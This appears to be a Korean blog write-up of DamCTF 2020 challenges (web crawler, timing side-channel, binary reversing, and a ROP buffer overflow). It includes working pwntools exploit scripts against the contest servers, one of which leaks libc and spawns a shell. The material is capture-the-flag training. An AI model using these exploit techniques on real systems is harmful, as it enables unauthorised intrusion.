WEB / finger-warmup

 

 

문제 사이트에 접속하면 아래 사진 처럼 클릭하는 링크가 나온다. 클릭하면 똑같은 페이지 이지만, 주소 뒤에 랜덤한 값이 따라 붙는다. 

 

문제 힌트에 `requests` 모듈과 `beautifulsoup` 모듈을 사용하라고 되어 있어, `a` 태그를 크롤링해 계속 클릭하면 flag를 획득 할 수 있을 거라고 생각했다.

import requests
import bs4
import time

url = "https://finger-warmup.chals.damctf.xyz/"
s = requests.session()
res = s.get(url)

while True:
    html = bs4.BeautifulSoup(res.text, "html.parser")
    href = html.find("a").attrs["href"]
    
    res = s.get(url+href)
    
    if res.text.find("dam") != -1:
        print(res.text)
        break
    else:
        pass

 

 

 

 

 

MISC / side-channel

 

python코드가 주워지는데 코드는 다음과 같다.

#!/usr/bin/env python3

import secrets
import codecs
import time

# init with dummy data
password = 'asdfzxcv'
sample_password = 'qwerasdf'


# print flag! call this!
def cat_flag():
    with open("./flag", 'rt') as f:
        print(f.read())

# initialize password
def init_password():
    global password
    global sample_password
    # seems super secure, right?
    password = "%08x" % secrets.randbits(32)
    sample_password = "%08x" % secrets.randbits(32)

# convert hex char to a number
# '0' = 0, 'f' = 15, '9' = 9...
def charactor_position_in_hex(c):
    string = "0123456789abcdef"
    return string.find(c[0])

# the function that matters..
def guess_password(s):
    print("Password guessing %s" % s)
    typed_password = ''
    correct_password = True
    for i in range(len(password)):
        user_guess = input("Guess character at position password[%d] = %s?\n" \
                % (i, typed_password))
        typed_password += user_guess
        # print(user_guess, password[i])
        if user_guess != password[i]:
            # we will punish the users for supplying wrong char..
            result = charactor_position_in_hex(password[i])
            print(result)
            time.sleep(0.1 * result)
            correct_password = False

    # to get the flag, please supply all 8 correct characters for the password..
    if correct_password:
        cat_flag()

    return correct_password

# main function!
def main():
    init_password()
    print("Can you tell me what my password is?")
    print("We randomly generated 8 hexadecimal digit password (e.g., %s %s)" % (sample_password, password))
    print("so please guess the password character by character.")
    print("You have only 2 chances to test your guess...")
    guess_password("Trial 1")
    if not guess_password("Trial 2"):
        print("My password was %s" % password)

if __name__ == '__main__':
    main()

 

 

사용자는 랜덤한 `password` 값을 두번의 시도만에 맞추어야 한다. 첫번째 시도때 사용자가 입력한 값이랑 비교했을때, 틀리면 `password` 값의 특정한 index와 0.1 을 곱하여 `sleep()` 함수를 실행한다. 이를 이용해 몇초 동안 `sleep` 했는지 구하면 `password` 값을 구할 수 있다.

poc 코드는 다음과 같다.

from pwn import *
import time

context.log_level = "debug"

p = remote("chals.damctf.xyz", "30318")

password = ""

for i in range(1, 9):
    p.sendlineafter("?\n", "0")
    start = time.time()
    
    if i == 8:
        p.recvuntil("Password")
        result = str(((time.time() - start) * 10) - 1).split(".")[0]
    else:
        p.recvuntil("= {}".format("0"*i))
        
        result = str(((time.time() - start) * 10) - 1).split(".")[0]
    print(result)
    
    password += hex(int(result))[2:]
    
print(password)

for i in range(8):
    p.sendlineafter("?", password[i])
p.interactive()

 

 

 

 

 

 

 

 

 

REV / schlage

 

문제 바이너리를 다운 받은 뒤, 사용자 정의 함수를 보면 다음과 같다.

 

 

분석 해본 결과, `do_pin` 함수들이 5개가 있는데, 이 함수들을 다 풀어야 flag를 획득할 수 있다.

함수를 실행하는 순서는 `do_pin3()` => `do_pin1()` => `do_pin5()` => `do_pin2()` => `do_pin4()`

 

 

`do_pin3()`

위 함수를 보면 사용자가 입력한 값이 `0xdeadbeef ^ ???? == 0x13371337` 이어야만 통과 할 수 있다.

따라서 아래 값으로 `do_pin3()` 함수를 통과 할 수 있다.

p.sendlineafter(">", "3")
p.sendlineafter(">", "3449466328")

 

`do_pin1()`

위 함수에서 `for` 문을 보면, 사용자가 입력한 값이랑 `XOR` 연산을 하고 있다. 결과가 `0xee` 이어야만 통과 하므로 `XOR`을 역 연산하면 아래의 코드로 통과 할 수 있다.

p.sendlineafter(">", "1")
p.sendlineafter("please!", "99")

 

`do_pin5()`

이번 함수는 `rand()` 함수의 리턴값을 맞추면 통과 할 수 있다. 3번째 줄에 `seed 값` 이 노출되어 있어, `rand()` 함수의 리턴값을 알 수 있다. python에서 `ctype` 라는 모듈이 있는데, 이 모듈로 `c library`를 호출해 c 함수를 쓸 수 있다.

아래 코드로 통과 할 수 있다.

from ctypes import *

l = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter(">", "5")
l.srand(0x42424242)
p.sendlineafter("number!", str(l.rand()))

 

 

`do_pin2()`

이번 함수는 `seed`를 출력 해준다. 이를 이용해 `seed 값` 을 바꾸고 `rand()` 함수의 리턴값을 받아 통과 할 수 있다.

p.sendlineafter(">", "2")
p.recvuntil("means?\n")
seed = int(p.recvuntil("\n"))
l.srand(seed)
p.sendlineafter("number?", str(l.rand()))

 

`do_pin4()`

 

마지막 함수는 진짜 리버싱 단계이다. 이 함수에서 오래 걸렸는데,

사용자가 입력한 값을 계산 => `for` 문을 사용자가 입력한 길이 만큼 반복 => 값이 `0x123` 이면 통과 이다.

 

하지만 `XOR` 연산을 하기 때문에 이를 역 연산하면 된다. 단, 입력 값은 ascii 코드 볌위에서 ~127 까지이다. 

입력하는 문장의 길이가 중요한데, 많은 삽질을 통해 입력 2개로는 ~127 까지의 숫자를 구할 순 없었다.

필자는 이를 구하기 위해 최소 3개의 문자를 입력해야 풀 수 있다는 것을 알게 되었다.

`for`문을 3개 돌려 입력값을 구하면 통과하게 된다.

p.sendlineafter(">", "4")
random_value = l.rand()
imul = int(hex(random_value * 0x66666667)[:10], 16)
rdx_5 = (imul >> 2) - (random_value >> 0x1f)
rax_13 = (rdx_5 << 2) + rdx_5
var_40_1 = (random_value - (rax_13*2)) + 0x41

print("[*] random_value: "+ str(random_value))
print("[*] imul: "+ hex(imul))
print("[*] rdx_5: "+hex(rdx_5))
print("[*] rax_13: " +hex(rax_13))
print("[*] var_40_1: "+hex(var_40_1))

check = 0
for a in range(1, 128):
    result = a ^ var_40_1
    for b in range(1, 128):
        res = result + (b ^ var_40_1)
        for c in range(1, 128):
            ress = res + (c ^ var_40_1)
            
            if ress == 0x123:
                print("[{}, {}, {}] {}".format(a,b,c, ress))
                data = hex(c)
                
                if len(hex(b)[2:]) == 1:
                    data+= "0" + hex(b)[2:]
                else:
                    data+= hex(b)[2:]
                
                if len(hex(a)[2:]) == 1:
                    data+= "0" + hex(a)[2:]
                else:
                    data+= hex(a)[2:]
                    
                print(data)
                p.sendlineafter("sentence", p64(int(data, 16)))
                check = 1
                break
        if check == 1:
            break
    if check == 1:
        break
if check == 0:
    print("[*] not found")

 

따라서 이번 문제의 poc 코드는 다음과 같다.

from pwn import *
from ctypes import *

# p = process("./schlage")
p = remote("chals.damctf.xyz", "31932")
l = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter(">", "3")
p.sendlineafter(">", "3449466328")

p.sendlineafter(">", "1")
p.sendlineafter("please!", "99")

p.sendlineafter(">", "5")
l.srand(0x42424242)
p.sendlineafter("number!", str(l.rand()))

p.sendlineafter(">", "2")
p.recvuntil("means?\n")
seed = int(p.recvuntil("\n"))
l.srand(seed)
p.sendlineafter("number?", str(l.rand()))

p.sendlineafter(">", "4")
random_value = l.rand()
imul = int(hex(random_value * 0x66666667)[:10], 16)
rdx_5 = (imul >> 2) - (random_value >> 0x1f)
rax_13 = (rdx_5 << 2) + rdx_5
var_40_1 = (random_value - (rax_13*2)) + 0x41

print("[*] random_value: "+ str(random_value))
print("[*] imul: "+ hex(imul))
print("[*] rdx_5: "+hex(rdx_5))
print("[*] rax_13: " +hex(rax_13))
print("[*] var_40_1: "+hex(var_40_1))

check = 0
for a in range(1, 128):
    result = a ^ var_40_1
    for b in range(1, 128):
        res = result + (b ^ var_40_1)
        for c in range(1, 128):
            ress = res + (c ^ var_40_1)
            
            if ress == 0x123:
                print("[{}, {}, {}] {}".format(a,b,c, ress))
                data = hex(c)
                
                if len(hex(b)[2:]) == 1:
                    data+= "0" + hex(b)[2:]
                else:
                    data+= hex(b)[2:]
                
                if len(hex(a)[2:]) == 1:
                    data+= "0" + hex(a)[2:]
                else:
                    data+= hex(a)[2:]
                    
                print(data)
                p.sendlineafter("sentence", p64(int(data, 16)))
                check = 1
                break
        if check == 1:
            break
    if check == 1:
        break
if check == 0:
    print("[*] not found")



p.interactive()

 

 

 

 

 

 

 

 

PWN / allokay

 

문제의 바이너리 파일을 분석하면 `main()` 함수와 `get_input()`, `win()` 함수들이 존재했다.

`main()` 함수에는 특별한 건 없다.

 

 

`get_input()` 함수는 사용자가 입력한 값 만큼 입력을 받는다. `BOF` 공격이 가능하다.

 

 

위 함수에서 `scanf()` 를 통해 입력을 받을 때, 스택을 보면 다음과 같다.

노란색: 입력이 시작되는 곳

빨간색: 10번(0xa) 반복한다.

초록색: 1번(0x1) 반복했다.

파란색: canary

보라색: ret 값

위 스택을 참고하여 값을 덮워야 하는데, `canary` 값은 빨간색의 값을 변경하여 index를 수정할 수 있다. `canary` 부분은 건너띄고 입력을 계속하면 된다.

from pwn import *
import gdb_attach

# context.log_level = "debug"

p = remote("chals.damctf.xyz","32575")
e = ELF("./allokay", checksec=False)
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so", checksec=False)
p.sendlineafter("have?", "21")

for i in range(7):
    p.sendlineafter(":", "1")
p.sendlineafter(":", "98784247808") # input data size
p.sendlineafter(":", "1")
p.sendlineafter(":", "47244640256") # index
p.sendlineafter(":", "1")

p.sendlineafter(":", str(4196659)) # pop rdi; ret;
p.sendlineafter(":", str(e.got["fgets"]))
p.sendlineafter(":", str(e.symbols["puts"]))

p.sendline(str(4196659)) # pop rdi; ret;
p.sendline(str(21))
p.sendline(str(e.symbols["get_input"]))

p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")

p.recvuntil("22/23: ")

fgets_got = u64(p.recvuntil("\x0a").replace("\x0a", "").ljust(8,"\x00"))
libc_base = fgets_got - l.symbols["fgets"]
binsh = libc_base + l.search("/bin/sh").next()

print("[*] fgets_got: " + hex(fgets_got))
print("[*] libc_base: "+hex(libc_base))

for i in range(7):
    p.sendlineafter(":", "1")
p.sendlineafter(":", "98784247808") # input data size
p.sendlineafter(":", "1")
p.sendlineafter(":", "47244640256") # index
p.sendlineafter(":", "1")

p.sendlineafter(":", str(4196659)) # pop rdi; ret;
p.sendlineafter(":", str(binsh))
p.sendlineafter(":", str(e.symbols["win"]))

p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")

p.interactive()

 

 

 

'CTF > etc CTF' 카테고리의 다른 글

[DamCTF 2020] write up  (1) 2020.10.12
[b01lers 2020 CTF] write up  (0) 2020.10.07
[Google CTF 2020] log-me-in write up  (5) 2020.08.27
[Google CTF 2020] pasteurize write up  (0) 2020.08.27
InCTF2020 - coins write up  (0) 2020.08.02
[CTF] - wechall Training: MySQL II 풀이  (0) 2019.04.10